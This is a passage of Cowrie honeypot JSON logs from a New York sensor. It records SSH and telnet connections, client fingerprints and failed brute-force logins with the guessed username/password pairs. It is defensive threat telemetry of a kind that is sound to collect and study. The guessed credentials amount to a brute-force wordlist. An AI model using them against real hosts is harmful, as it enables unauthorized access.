03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:46.359168Z","src_ip":"118.193.33.3","session":"bf74816ec07b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:46.443397Z","src_ip":"218.0.63.25","session":"a974f1bc5b45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lima","password":"12345678","message":"login attempt [lima/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:47.249304Z","src_ip":"118.193.33.3","session":"bf74816ec07b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"central","password":"centralpass","message":"login attempt [central/centralpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:47.422306Z","src_ip":"218.0.63.25","session":"a974f1bc5b45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:48.465942Z","src_ip":"118.193.33.3","session":"bf74816ec07b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:48.663201Z","src_ip":"218.0.63.25","session":"a974f1bc5b45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.92.202","src_port":58326,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd5d06af0068","protocol":"ssh","message":"New connection: 103.82.92.202:58326 (10.17.0.5:22) [session: fd5d06af0068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:07.314938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:07.319545Z","src_ip":"103.82.92.202","session":"fd5d06af0068","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:07.568665Z","src_ip":"103.82.92.202","session":"fd5d06af0068","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tt","password":"tt","message":"login attempt [tt/tt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:08.600846Z","src_ip":"103.82.92.202","session":"fd5d06af0068","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:09.851640Z","src_ip":"103.82.92.202","session":"fd5d06af0068","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.210.249.152","src_port":58238,"dst_ip":"10.17.0.5","dst_port":22,"session":"10e376d24cdb","protocol":"ssh","message":"New connection: 172.210.249.152:58238 (10.17.0.5:22) [session: 10e376d24cdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:14.035535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:14.039493Z","src_ip":"172.210.249.152","session":"10e376d24cdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:14.053393Z","src_ip":"172.210.249.152","session":"10e376d24cdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oguz","password":"12345","message":"login attempt [oguz/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:14.143564Z","src_ip":"172.210.249.152","session":"10e376d24cdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:15.159680Z","src_ip":"172.210.249.152","session":"10e376d24cdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":12114,"dst_ip":"159.203.135.109","dst_port":22,"session":"b90bcfec746c","protocol":"ssh","message":"New connection: 2.57.121.25:12114 (159.203.135.109:22) [session: b90bcfec746c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:18.060971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:18.065023Z","src_ip":"2.57.121.25","session":"b90bcfec746c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.183.250.100","src_port":38788,"dst_ip":"10.17.0.5","dst_port":22,"session":"1316c0d655d3","protocol":"ssh","message":"New connection: 51.183.250.100:38788 (10.17.0.5:22) [session: 1316c0d655d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:18.120818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:18.124906Z","src_ip":"51.183.250.100","session":"1316c0d655d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:18.163865Z","src_ip":"2.57.121.25","session":"b90bcfec746c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:18.212705Z","src_ip":"51.183.250.100","session":"1316c0d655d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"admin","message":"login attempt [nexus/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:18.593546Z","src_ip":"51.183.250.100","session":"1316c0d655d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13041992","message":"login attempt [user/13041992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:18.633415Z","src_ip":"2.57.121.25","session":"b90bcfec746c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:19.685168Z","src_ip":"51.183.250.100","session":"1316c0d655d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13021995","message":"login attempt [user/13021995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:19.739899Z","src_ip":"2.57.121.25","session":"b90bcfec746c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456789l","message":"login attempt [user/123456789l] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:20.841044Z","src_ip":"2.57.121.25","session":"b90bcfec746c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456789123","message":"login attempt [user/123456789123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:21.941900Z","src_ip":"2.57.121.25","session":"b90bcfec746c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345612","message":"login attempt [user/12345612] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:23.042877Z","src_ip":"2.57.121.25","session":"b90bcfec746c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:23.258293Z","src_ip":"43.154.233.209","session":"cd572f82e329","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.5276894569397,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:23.261734Z","src_ip":"43.154.233.209","session":"cd572f82e329","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:24.144445Z","src_ip":"2.57.121.25","session":"b90bcfec746c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.218.242.31","src_port":33302,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0e18faace4c","protocol":"ssh","message":"New connection: 103.218.242.31:33302 (10.17.0.5:22) [session: c0e18faace4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:25.608113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:25.611753Z","src_ip":"103.218.242.31","session":"c0e18faace4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:25.828741Z","src_ip":"103.218.242.31","session":"c0e18faace4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vboxuser","password":"Vboxuser123","message":"login attempt [vboxuser/Vboxuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:26.733787Z","src_ip":"103.218.242.31","session":"c0e18faace4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:27.953364Z","src_ip":"103.218.242.31","session":"c0e18faace4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.240.75.51","src_port":37298,"dst_ip":"10.17.0.5","dst_port":22,"session":"11d7d70bf1ad","protocol":"ssh","message":"New connection: 35.240.75.51:37298 (10.17.0.5:22) [session: 11d7d70bf1ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:46.166429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:46.171209Z","src_ip":"35.240.75.51","session":"11d7d70bf1ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:46.336319Z","src_ip":"35.240.75.51","session":"11d7d70bf1ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali123!","message":"login attempt [kali/kali123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:46.877380Z","src_ip":"35.240.75.51","session":"11d7d70bf1ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:51:48.053495Z","src_ip":"35.240.75.51","session":"11d7d70bf1ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.62.152.202","src_port":37240,"dst_ip":"10.17.0.5","dst_port":22,"session":"8912bae1a203","protocol":"ssh","message":"New connection: 103.62.152.202:37240 (10.17.0.5:22) [session: 8912bae1a203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:20.640938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:20.645927Z","src_ip":"103.62.152.202","session":"8912bae1a203","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:20.916034Z","src_ip":"103.62.152.202","session":"8912bae1a203","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":52256,"dst_ip":"159.203.135.109","dst_port":22,"session":"47b9f4badb2f","protocol":"ssh","message":"New connection: 92.118.39.92:52256 (159.203.135.109:22) [session: 47b9f4badb2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:21.384928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:52:21.389489Z","src_ip":"92.118.39.92","session":"47b9f4badb2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecd